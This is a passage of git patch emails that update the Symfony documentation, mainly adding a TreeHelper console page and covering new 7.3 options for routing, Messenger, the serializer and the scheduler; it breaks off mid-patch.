From 20929b4a573a5cbf7bd344ffa2d08dece074a848 Mon Sep 17 00:00:00 2001
From: Julien Bonnier <noreply@julienbonnier.com>
Date: Sat, 22 Mar 2025 12:13:55 -0400
Subject: [PATCH 5471/5766] fix: Change translation domain name for bundle
 translation and add an example

---
 bundles/best_practices.rst | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 376984388db..37dc386b8e4 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -397,10 +397,14 @@ Translation Files
 -----------------
 
 If a bundle provides message translations, they must be defined in the XLIFF
-format; the domain should be named after the bundle name (``acme_blog``).
+format; the domain should be named after the bundle name (``AcmeBlog``).
 
 A bundle must not override existing messages from another bundle.
 
+The translation domain must match the translation file names. For example,
+if the translation domain is ``AcmeBlog``, the English translation file name
+should be ``AcmeBlog.en.xlf``.
+
 Configuration
 -------------
 

From 78eaf0d0715259cdc4c212b277861296ba552c0e Mon Sep 17 00:00:00 2001
From: Lucas Mlsna <lmlsna@gmail.com>
Date: Sat, 22 Mar 2025 23:33:16 -0500
Subject: [PATCH 5472/5766] Update micro_kernel_trait.rst

Yielded classes in registerBundles() function example code require "new" keyword to work.

Also removed getLogDir() and getCacheDir() functions in example code (these functions are already defined in an identical way by the parent class).
---
 configuration/micro_kernel_trait.rst | 18 +++---------------
 1 file changed, 3 insertions(+), 15 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 62e8c2d4128..dbe8d1b27b9 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -260,11 +260,11 @@ Now it looks like this::
 
         public function registerBundles(): iterable
         {
-            yield FrameworkBundle();
-            yield TwigBundle();
+            yield new FrameworkBundle();
+            yield new TwigBundle();
 
             if ('dev' === $this->getEnvironment()) {
-                yield WebProfilerBundle();
+                yield new WebProfilerBundle();
             }
         }
 
@@ -305,18 +305,6 @@ Now it looks like this::
             // (use 'annotation' as the second argument if you define routes as annotations)
             $routes->import(__DIR__.'/Controller/', 'attribute');
         }
-
-        // optional, to use the standard Symfony cache directory
-        public function getCacheDir(): string
-        {
-            return __DIR__.'/../var/cache/'.$this->getEnvironment();
-        }
-
-        // optional, to use the standard Symfony logs directory
-        public function getLogDir(): string
-        {
-            return __DIR__.'/../var/log';
-        }
     }
 
 Before continuing, run this command to add support for the new dependencies:

From 0bf6bc3bd0ec2c9a806384e06b90a78fde226522 Mon Sep 17 00:00:00 2001
From: Santiago San Martin <sanmartindev@gmail.com>
Date: Sun, 23 Mar 2025 14:39:47 -0300
Subject: [PATCH 5473/5766] Fix documentation on router method option usage

---
 routing.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/routing.rst b/routing.rst
index 68d6a30fc41..445f4a4d886 100644
--- a/routing.rst
+++ b/routing.rst
@@ -442,9 +442,6 @@ evaluates them:
     $ php bin/console debug:router --method=GET
     $ php bin/console debug:router --method=ANY
 
-    # pass the option more than once to display the routes that match all the given methods
-    $ php bin/console debug:router --method=GET --method=PATCH
-
 .. versionadded:: 7.3
 
     The ``--method`` option was introduced in Symfony 7.3.

From 2a2faa4f4689920cbade1fc1867e9f5e587794c7 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 20 Mar 2025 22:45:30 +0100
Subject: [PATCH 5474/5766] [HttpKernel] Support Uid in #[MapQueryParameter]

---
 controller.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/controller.rst b/controller.rst
index b33eed08360..693784885da 100644
--- a/controller.rst
+++ b/controller.rst
@@ -371,6 +371,11 @@ The ``MapQueryParameter`` attribute supports the following argument types:
 * ``float``
 * ``int``
 * ``string``
+* Objects that extend :class:`Symfony\\Component\\Uid\\AbstractUid`
+
+.. versionadded:: 7.3
+
+    The support of ``AbstractUid`` was introduced in Symfony 7.3.
 
 ``#[MapQueryParameter]`` can take an optional argument called ``filter``. You can use the
 `Validate Filters`_ constants defined in PHP::

From 996f3d374d798c1b5d76916018ba8aa9186681b5 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 20 Mar 2025 21:53:05 +0100
Subject: [PATCH 5475/5766] [Serializer] Add NumberNormalizer

---
 serializer.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index 7f2f7d7c2f1..18f1b06b92c 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1387,6 +1387,14 @@ normalizers (in order of priority):
     By default, an exception is thrown when data is not a valid backed enumeration. If you
     want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option.
 
+:class:`Symfony\\Component\\Serializer\\Normalizer\\NumberNormalizer`
+    This normalizer converts between :phpclass:`BcMath\Number` or :phpclass:`GMP` objects and
+    strings or integers.
+
+.. versionadded:: 7.2
+
+    The ``NumberNormalizer`` was introduced in Symfony 7.2.
+
 :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer`
     This normalizer converts between :phpclass:`SplFileInfo` objects and a
     `data URI`_ string (``data:...``) such that files can be embedded into

From e24fb9a8b3176f6b07ed23c72df57a8742610001 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sun, 23 Mar 2025 19:19:44 +0100
Subject: [PATCH 5476/5766] [Scheduler] Add MessageHandler result to the
 PostRunEvent

---
 scheduler.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/scheduler.rst b/scheduler.rst
index 0c6c14915c7..64a5a9f7612 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -723,10 +723,15 @@ after a message is consumed::
         $schedule = $event->getSchedule();
         $context = $event->getMessageContext();
         $message = $event->getMessage();
+        $result = $event->getResult();
 
-        // do something with the schedule, context or message
+        // do something with the schedule, context, message or result
     }
 
+.. versionadded:: 7.3
+
+    The ``getResult()`` method was introduced in Symfony 7.3.
+
 Execute this command to find out which listeners are registered for this event
 and their priorities:
 

From b67e277663beeb002583b470cd01670d4292621c Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Mar 2025 09:19:44 +0100
Subject: [PATCH 5477/5766] Minor tweak

---
 configuration/micro_kernel_trait.rst | 3 +++
 1 file changed, 3 insertions(+)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index dbe8d1b27b9..f919b1f7a74 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -305,6 +305,9 @@ Now it looks like this::
             // (use 'annotation' as the second argument if you define routes as annotations)
             $routes->import(__DIR__.'/Controller/', 'attribute');
         }
+
+        // optionally, you can define the getCacheDir() and getLogDir() methods
+        // to override the default locations for these directories
     }
 
 Before continuing, run this command to add support for the new dependencies:

From b95b1041d2840213468e1714d4a0d09cc39a9273 Mon Sep 17 00:00:00 2001
From: Andrey Bolonin <andreybolonin@users.noreply.github.com>
Date: Mon, 24 Mar 2025 11:41:00 +0300
Subject: [PATCH 5478/5766] Update custom_normalizer.rst

---
 serializer/custom_normalizer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index d6ba66f89b6..8072b590ced 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -33,9 +33,9 @@ to customize the normalized data. To do that, leverage the ``ObjectNormalizer``:
         ) {
         }
 
-        public function normalize($topic, ?string $format = null, array $context = []): array
+        public function normalize(mixed $object, ?string $format = null, array $context = []): array
         {
-            $data = $this->normalizer->normalize($topic, $format, $context);
+            $data = $this->normalizer->normalize($object, $format, $context);
 
             // Here, add, edit, or delete some data:
             $data['href']['self'] = $this->router->generate('topic_show', [

From d9a48bea00bb340b407402a3f6ada1a265e5eba4 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20Andr=C3=A9?= <smn.andre@gmail.com>
Date: Fri, 21 Mar 2025 03:23:02 +0100
Subject: [PATCH 5479/5766] [Console] Document the `TreeHelper`

---
 components/console/helpers/map.rst.inc |   1 +
 components/console/helpers/tree.rst    | 237 +++++++++++++++++++++++++
 console/style.rst                      |  26 +++
 3 files changed, 264 insertions(+)
 create mode 100644 components/console/helpers/tree.rst

diff --git a/components/console/helpers/map.rst.inc b/components/console/helpers/map.rst.inc
index 8f9ce0ca0f3..b190d1dce44 100644
--- a/components/console/helpers/map.rst.inc
+++ b/components/console/helpers/map.rst.inc
@@ -3,5 +3,6 @@
 * :doc:`/components/console/helpers/progressbar`
 * :doc:`/components/console/helpers/questionhelper`
 * :doc:`/components/console/helpers/table`
+* :doc:`/components/console/helpers/tree`
 * :doc:`/components/console/helpers/debug_formatter`
 * :doc:`/components/console/helpers/cursor`
diff --git a/components/console/helpers/tree.rst b/components/console/helpers/tree.rst
new file mode 100644
index 00000000000..2e688770c65
--- /dev/null
+++ b/components/console/helpers/tree.rst
@@ -0,0 +1,237 @@
+Tree Helper
+===========
+
+The Tree Helper allows you to build and display tree structures in the console.
+
+.. versionadded:: 7.3
+
+    The ``TreeHelper`` class was introduced in Symfony 7.3.
+
+Rendering a Tree
+----------------
+
+The :method:`Symfony\\Component\\Console\\Helper\\TreeHelper::createTree` method creates a tree structure from an array and returns a :class:`Symfony\\Component\\Console\\Helper\\Tree`
+object that can be rendered in the console.
+
+Building a Tree from an Array
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can build a tree from an array by passing the array to the :method:`Symfony\\Component\\Console\\Helper\\TreeHelper::createTree`
+method::
+
+    use Symfony\Component\Console\Helper\TreeHelper;
+
+    $tree = TreeHelper::createTree($io, null, [
+        'src' =>  [
+            'Command',
+            'Controller' => [
+                'DefaultController.php',
+            ],
+            'Kernel.php',
+        ],
+        'templates' => [
+            'base.html.twig',
+        ],
+    ]);
+
+    $tree->render();
+
+The above code will output the following tree:
+
+.. code-block:: text
+
+    ├── src
+    │   ├── Command
+    │   ├── Controller
+    │   │   └── DefaultController.php
+    │   └── Kernel.php
+    └── templates
+        └── base.html.twig
+
+Manually Creating a Tree
+~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can manually create a tree by creating a new instance of the :class:`Symfony\\Component\\Console\\Helper\\Tree` class and adding nodes to it::
+
+    use Symfony\Component\Console\Helper\TreeHelper;
+    use Symfony\Component\Console\Helper\TreeNode;
+
+    $node = TreeNode::fromValues([
+        'Command',
+        'Controller' => [
+            'DefaultController.php',
+        ],
+        'Kernel.php',
+    ]);
+    $node->addChild('templates');
+    $node->addChild('tests');
+
+    $tree = TreeHelper::createTree($io, $node);
+    $tree->render();
+
+Customizing the Tree Style
+--------------------------
+
+Built-in Tree Styles
+~~~~~~~~~~~~~~~~~~~~
+
+The tree helper provides a few built-in styles that you can use to customize the output of the tree.
+
+:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::default`
+
+    .. code-block:: text
+
+        ├── config
+        │   ├── packages
+        │   └── routes
+        │      ├── framework.yaml
+        │      └── web_profiler.yaml
+        ├── src
+        │   ├── Command
+        │   ├── Controller
+        │   │   └── DefaultController.php
+        │   └── Kernel.php
+        └── templates
+           └── base.html.twig
+
+:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::box`
+
+    .. code-block:: text
+
+        ┃╸ config
+        ┃  ┃╸ packages
+        ┃  ┗╸ routes
+        ┃     ┃╸ framework.yaml
+        ┃     ┗╸ web_profiler.yaml
+        ┃╸ src
+        ┃  ┃╸ Command
+        ┃  ┃╸ Controller
+        ┃  ┃  ┗╸ DefaultController.php
+        ┃  ┗╸ Kernel.php
+        ┗╸ templates
+           ┗╸ base.html.twig
+
+:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::doubleBox`
+
+    .. code-block:: text
+
+        ╠═ config
+        ║  ╠═ packages
+        ║  ╚═ routes
+        ║    ╠═ framework.yaml
+        ║    ╚═ web_profiler.yaml
+        ╠═ src
+        ║  ╠═ Command
+        ║  ╠═ Controller
+        ║  ║  ╚═ DefaultController.php
+        ║  ╚═ Kernel.php
+        ╚═ templates
+          ╚═ base.html.twig
+
+:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::compact`
+
+    .. code-block:: text
+
+        ├ config
+        │ ├ packages
+        │ └ routes
+        │   ├ framework.yaml
+        │   └ web_profiler.yaml
+        ├ src
+        │ ├ Command
+        │ ├ Controller
+        │ │ └ DefaultController.php
+        │ └ Kernel.php
+        └ templates
+          └ base.html.twig
+
+:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::light`
+
+    .. code-block:: text
+
+        |-- config
+        |   |-- packages
+        |   `-- routes
+        |       |-- framework.yaml
+        |       `-- web_profiler.yaml
+        |-- src
+        |   |-- Command
+        |   |-- Controller
+        |   |   `-- DefaultController.php
+        |   `-- Kernel.php
+        `-- templates
+            `-- base.html.twig
+
+:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::minimal`
+
+    .. code-block:: text
+
+        . config
+        . . packages
+        . . routes
+        .   . framework.yaml
+        .   . web_profiler.yaml
+        . src
+        . . Command
+        . . Controller
+        . . . DefaultController.php
+        . . Kernel.php
+        . templates
+          . base.html.twig
+
+:method:`Symfony\\Component\\Console\\Helper\\TreeStyle::rounded`
+
+    .. code-block:: text
+
+        ├─ config
+        │  ├─ packages
+        │  ╰─ routes
+        │     ├─ framework.yaml
+        │     ╰─ web_profiler.yaml
+        ├─ src
+        │  ├─ Command
+        │  ├─ Controller
+        │  │  ╰─ DefaultController.php
+        │  ╰─ Kernel.php
+        ╰─ templates
+           ╰─ base.html.twig
+
+Making a Custom Tree Style
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can create your own tree style by passing the characters to the constructor
+of the :class:`Symfony\\Component\\Console\\Helper\\TreeStyle` class::
+
+    use Symfony\Component\Console\Helper\TreeHelper;
+    use Symfony\Component\Console\Helper\TreeStyle;
+
+    $customStyle = new TreeStyle('🟣 ', '🟠 ', '🔵 ', '🟢 ', '🔴 ', '🟡 ');
+
+    // Pass the custom style to the createTree method
+
+    $tree = TreeHelper::createTree($io, null, [
+        'src' =>  [
+            'Command',
+            'Controller' => [
+                'DefaultController.php',
+            ],
+            'Kernel.php',
+        ],
+        'templates' => [
+            'base.html.twig',
+        ],
+    ], $customStyle);
+
+    $tree->render();
+
+The above code will output the following tree:
+
+.. code-block:: text
+
+    🔵 🟣 🟡 src
+    🔵 🟢 🟣 🟡 Command
+    🔵 🟢 🟣 🟡 Controller
+    🔵 🟢 🟢 🟠 🟡 DefaultController.php
+    🔵 🟢 🟠 🟡 Kernel.php
+    🔵 🟠 🟡 templates
+    🔵 🔴 🟠 🟡 base.html.twig
diff --git a/console/style.rst b/console/style.rst
index 0aaaa3f675e..e1e5df38ffe 100644
--- a/console/style.rst
+++ b/console/style.rst
@@ -169,6 +169,32 @@ Content Methods
     styled according to the Symfony Style Guide, which allows you to use
     features such as dynamically appending rows.
 
+:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::tree`
+    It displays the given nested array as a formatted directory/file tree
+    structure in the console output::
+
+        $io->tree([
+            'src' =>  [
+                'Controller' => [
+                    'DefaultController.php',
+                ],
+                'Kernel.php',
+            ],
+            'templates' => [
+                'base.html.twig',
+            ],
+        ]);
+
+.. versionadded:: 7.3
+
+    The ``SymfonyStyle::tree()`` and the ``SymfonyStyle::createTree()`` methods
+    were introduced in Symfony 7.3.
+
+:method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::createTree`
+    Creates an instance of :class:`Symfony\\Component\\Console\\Helper\\TreeHelper`
+    styled according to the Symfony Style Guide, which allows you to use
+    features such as dynamically nesting nodes.
+
 :method:`Symfony\\Component\\Console\\Style\\SymfonyStyle::newLine`
     It displays a blank line in the command output. Although it may seem useful,
     most of the times you won't need it at all. The reason is that every helper

From a0758ac62303e037fb903ba59fe807fd798f561d Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Mar 2025 09:52:46 +0100
Subject: [PATCH 5480/5766] Tweaks

---
 components/console/helpers/tree.rst | 86 +++++++++++++++++++++++------
 1 file changed, 68 insertions(+), 18 deletions(-)

diff --git a/components/console/helpers/tree.rst b/components/console/helpers/tree.rst
index 2e688770c65..4203f8bc790 100644
--- a/components/console/helpers/tree.rst
+++ b/components/console/helpers/tree.rst
@@ -2,6 +2,8 @@ Tree Helper
 ===========
 
 The Tree Helper allows you to build and display tree structures in the console.
+It's commonly used to render directory hierarchies, but you can also use it to render
+any tree-like content, such us organizational charts, product category trees, taxonomies, etc.
 
 .. versionadded:: 7.3
 
@@ -10,16 +12,62 @@ The Tree Helper allows you to build and display tree structures in the console.
 Rendering a Tree
 ----------------
 
-The :method:`Symfony\\Component\\Console\\Helper\\TreeHelper::createTree` method creates a tree structure from an array and returns a :class:`Symfony\\Component\\Console\\Helper\\Tree`
+The :method:`Symfony\\Component\\Console\\Helper\\TreeHelper::createTree` method
+creates a tree structure from an array and returns a :class:`Symfony\\Component\\Console\\Helper\\Tree`
 object that can be rendered in the console.
 
-Building a Tree from an Array
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+Rendering a Tree from an Array
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+You can build a tree from an array by passing the array to the
+:method:`Symfony\\Component\\Console\\Helper\\TreeHelper::createTree` method
+inside your console command::
 
-You can build a tree from an array by passing the array to the :method:`Symfony\\Component\\Console\\Helper\\TreeHelper::createTree`
-method::
+    namespace App\Command;
 
+    use Symfony\Component\Console\Attribute\AsCommand;
+    use Symfony\Component\Console\Command\Command;
+    use Symfony\Component\Console\Input\InputInterface;
+    use Symfony\Component\Console\Output\OutputInterface;
+    use Symfony\Component\Console\Style\SymfonyStyle;
     use Symfony\Component\Console\Helper\TreeHelper;
+    use Symfony\Component\Console\Helper\TreeNode;
+
+    #[AsCommand(name: 'app:some-command', description: '...')]
+    class SomeCommand extends Command
+    {
+        // ...
+
+        protected function execute(InputInterface $input, OutputInterface $output): int
+        {
+            $io = new SymfonyStyle($input, $output);
+
+            $node = TreeNode::fromValues([
+                'config/',
+                'public/',
+                'src/',
+                'templates/',
+                'tests/',
+            ]);
+
+            $tree = TreeHelper::createTree($io, $node);
+            $tree->render();
+
+            // ...
+        }
+    }
+
+This exampe would output the following:
+
+.. code-block:: terminal
+
+    ├── config/
+    ├── public/
+    ├── src/
+    ├── templates/
+    └── tests/
+
+The given contents can be defined in a multi-dimensional array:
 
     $tree = TreeHelper::createTree($io, null, [
         'src' =>  [
@@ -38,7 +86,7 @@ method::
 
 The above code will output the following tree:
 
-.. code-block:: text
+.. code-block:: terminal
 
     ├── src
     │   ├── Command
@@ -48,10 +96,11 @@ The above code will output the following tree:
     └── templates
         └── base.html.twig
 
-Manually Creating a Tree
-~~~~~~~~~~~~~~~~~~~~~~~~
+Building and Rendering a Tree
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-You can manually create a tree by creating a new instance of the :class:`Symfony\\Component\\Console\\Helper\\Tree` class and adding nodes to it::
+You can build a tree by creating a new instance of the
+:class:`Symfony\\Component\\Console\\Helper\\Tree` class and adding nodes to it::
 
     use Symfony\Component\Console\Helper\TreeHelper;
     use Symfony\Component\Console\Helper\TreeNode;
@@ -75,11 +124,12 @@ Customizing the Tree Style
 Built-in Tree Styles
 ~~~~~~~~~~~~~~~~~~~~
 
-The tree helper provides a few built-in styles that you can use to customize the output of the tree.
+The tree helper provides a few built-in styles that you can use to customize the
+output of the tree.
 
 :method:`Symfony\\Component\\Console\\Helper\\TreeStyle::default`
 
-    .. code-block:: text
+    .. code-block:: terminal
 
         ├── config
         │   ├── packages
@@ -96,7 +146,7 @@ The tree helper provides a few built-in styles that you can use to customize the
 
 :method:`Symfony\\Component\\Console\\Helper\\TreeStyle::box`
 
-    .. code-block:: text
+    .. code-block:: terminal
 
         ┃╸ config
         ┃  ┃╸ packages
@@ -113,7 +163,7 @@ The tree helper provides a few built-in styles that you can use to customize the
 
 :method:`Symfony\\Component\\Console\\Helper\\TreeStyle::doubleBox`
 
-    .. code-block:: text
+    .. code-block:: terminal
 
         ╠═ config
         ║  ╠═ packages
@@ -130,7 +180,7 @@ The tree helper provides a few built-in styles that you can use to customize the
 
 :method:`Symfony\\Component\\Console\\Helper\\TreeStyle::compact`
 
-    .. code-block:: text
+    .. code-block:: terminal
 
         ├ config
         │ ├ packages
@@ -147,7 +197,7 @@ The tree helper provides a few built-in styles that you can use to customize the
 
 :method:`Symfony\\Component\\Console\\Helper\\TreeStyle::light`
 
-    .. code-block:: text
+    .. code-block:: terminal
 
         |-- config
         |   |-- packages
@@ -164,7 +214,7 @@ The tree helper provides a few built-in styles that you can use to customize the
 
 :method:`Symfony\\Component\\Console\\Helper\\TreeStyle::minimal`
 
-    .. code-block:: text
+    .. code-block:: terminal
 
         . config
         . . packages
@@ -181,7 +231,7 @@ The tree helper provides a few built-in styles that you can use to customize the
 
 :method:`Symfony\\Component\\Console\\Helper\\TreeStyle::rounded`
 
-    .. code-block:: text
+    .. code-block:: terminal
 
         ├─ config
         │  ├─ packages
@@ -226,7 +276,7 @@ of the :class:`Symfony\\Component\\Console\\Helper\\TreeStyle` class::
 
 The above code will output the following tree:
 
-.. code-block:: text
+.. code-block:: terminal
 
     🔵 🟣 🟡 src
     🔵 🟢 🟣 🟡 Command

From 16861e3df96cedc24460d3a134c34e7278ac8624 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@open.de>
Date: Mon, 24 Mar 2025 13:14:22 +0100
Subject: [PATCH 5481/5766] order use statements alphabetically

---
 components/console/helpers/tree.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/console/helpers/tree.rst b/components/console/helpers/tree.rst
index 4203f8bc790..ae0c24ff01f 100644
--- a/components/console/helpers/tree.rst
+++ b/components/console/helpers/tree.rst
@@ -27,11 +27,11 @@ inside your console command::
 
     use Symfony\Component\Console\Attribute\AsCommand;
     use Symfony\Component\Console\Command\Command;
+    use Symfony\Component\Console\Helper\TreeHelper;
+    use Symfony\Component\Console\Helper\TreeNode;
     use Symfony\Component\Console\Input\InputInterface;
     use Symfony\Component\Console\Output\OutputInterface;
     use Symfony\Component\Console\Style\SymfonyStyle;
-    use Symfony\Component\Console\Helper\TreeHelper;
-    use Symfony\Component\Console\Helper\TreeNode;
 
     #[AsCommand(name: 'app:some-command', description: '...')]
     class SomeCommand extends Command

From bdca4e901550d29fd3ec5c38adb02365459b1460 Mon Sep 17 00:00:00 2001
From: Arnaud De Abreu <arnaud.deabreu@nodelia.com>
Date: Mon, 24 Mar 2025 09:25:46 +0100
Subject: [PATCH 5482/5766] [Messenger] Add `--class-filter` option to the
 `messenger:failed:remove` command

---
 messenger.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 6d1602f410c..8632ebdb4e0 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1312,6 +1312,9 @@ to retry them:
     # remove all messages in the failure transport
     $ php bin/console messenger:failed:remove --all
 
+    # remove only MyClass messages
+    $ php bin/console messenger:failed:remove --class-filter='MyClass'
+
 If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max
 retry has been hit, the message will be discarded permanently.
@@ -1321,6 +1324,11 @@ retry has been hit, the message will be discarded permanently.
     The option to skip a message in the ``messenger:failed:retry`` command was
     introduced in Symfony 7.2
 
+.. versionadded:: 7.3
+
+    The option to filter by a message class in the ``messenger:failed:remove`` command was
+    introduced in Symfony 7.3
+
 Multiple Failed Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From da62e32f9693a21f4b3130110abf6c8e2c6beab1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 24 Mar 2025 13:56:01 +0100
Subject: [PATCH 5483/5766] minor

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 8632ebdb4e0..cbd79784555 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1313,7 +1313,7 @@ to retry them:
     $ php bin/console messenger:failed:remove --all
 
     # remove only MyClass messages
-    $ php bin/console messenger:failed:remove --class-filter='MyClass'
+    $ php bin/console messenger:failed:remove --class-filter='App\Message\MyMessage'
 
 If the message fails again, it will be re-sent back to the failure transport
 due to the normal :ref:`retry rules <messenger-retries-failures>`. Once the max

From a93e2656a9583fa44aa93befe0db7660c689eab1 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 24 Mar 2025 13:56:46 +0100
Subject: [PATCH 5484/5766] minor

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index d25800ef00d..e86bc73d1c6 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1161,8 +1161,8 @@ to retry them:
     # see the 10 first messages
     $ php bin/console messenger:failed:show --max=10
 
-    # see only MyClass messages
-    $ php bin/console messenger:failed:show --class-filter='MyClass'
+    # see only App\Message\MyMessage messages
+    $ php bin/console messenger:failed:show --class-filter='App\Message\MyMessage'
 
     # see the number of messages by message class
     $ php bin/console messenger:failed:show --stats

From 137134ad97da5b2fecc4a61027c1701c50d9faff Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Mon, 24 Mar 2025 13:57:13 +0100
Subject: [PATCH 5485/5766] minor

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 59f2aa0cc19..0f1eba49a9f 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1312,7 +1312,7 @@ to retry them:
     # remove all messages in the failure transport
     $ php bin/console messenger:failed:remove --all
 
-    # remove only MyClass messages
+    # remove only App\Message\MyMessage messages
     $ php bin/console messenger:failed:remove --class-filter='App\Message\MyMessage'
 
 If the message fails again, it will be re-sent back to the failure transport

From bc3412b33493e9a2d03a189f073a863f6030e909 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Mar 2025 15:23:03 +0100
Subject: [PATCH 5486/5766] Fix syntax issue

---
 serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/serializer.rst b/serializer.rst
index 18f1b06b92c..7b42ea9485c 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1388,7 +1388,7 @@ normalizers (in order of priority):
     want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\NumberNormalizer`
-    This normalizer converts between :phpclass:`BcMath\Number` or :phpclass:`GMP` objects and
+    This normalizer converts between :phpclass:`BcMath\\Number` or :phpclass:`GMP` objects and
     strings or integers.
 
 .. versionadded:: 7.2

From c018ddc9c619c68c09551e21d5d4fa86d028a71f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Mar 2025 16:01:48 +0100
Subject: [PATCH 5487/5766] Minor tweak

---
 controller.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index 693784885da..05abdaee4ea 100644
--- a/controller.rst
+++ b/controller.rst
@@ -375,7 +375,7 @@ The ``MapQueryParameter`` attribute supports the following argument types:
 
 .. versionadded:: 7.3
 
-    The support of ``AbstractUid`` was introduced in Symfony 7.3.
+    Support for ``AbstractUid`` objects was introduced in Symfony 7.3.
 
 ``#[MapQueryParameter]`` can take an optional argument called ``filter``. You can use the
 `Validate Filters`_ constants defined in PHP::

From 5f722a34043d63e3f778ce4d9a485784d6879e45 Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Mon, 24 Mar 2025 16:07:22 +0100
Subject: [PATCH 5488/5766] Add Tugdual Saunier as a core team member

---
 contributing/core_team.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/contributing/core_team.rst b/contributing/core_team.rst
index d461aa44485..2edb42a842d 100644
--- a/contributing/core_team.rst
+++ b/contributing/core_team.rst
@@ -86,6 +86,7 @@ Active Core Members
   * **Berislav Balogović** (`hypemc`_);
   * **Mathias Arlaud** (`mtarld`_);
   * **Florent Morselli** (`spomky`_);
+  * **Tugdual Saunier** (`tucksaun`_);
   * **Alexandre Daubois** (`alexandre-daubois`_).
 
 * **Security Team** (``@symfony/security`` on GitHub):
@@ -263,3 +264,4 @@ discretion of the **Project Leader**.
 .. _`mtarld`: https://github.com/mtarld/
 .. _`spomky`: https://github.com/spomky/
 .. _`alexandre-daubois`: https://github.com/alexandre-daubois/
+.. _`tucksaun`: https://github.com/tucksaun/
\ No newline at end of file

From ce6c3a9992c30ddef1cd27a7c1a31b81625dc939 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 24 Mar 2025 17:09:08 +0100
Subject: [PATCH 5489/5766] Reword

---
 frontend/asset_mapper.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 2354485a2bf..8b27cd8ba16 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -217,8 +217,12 @@ to add any `npm package`_:
 
 .. tip::
 
-    The command takes the well-know ``--dry-run`` option to simulate the installation of the packages, useful
-    to show what will be installed without altering anything.
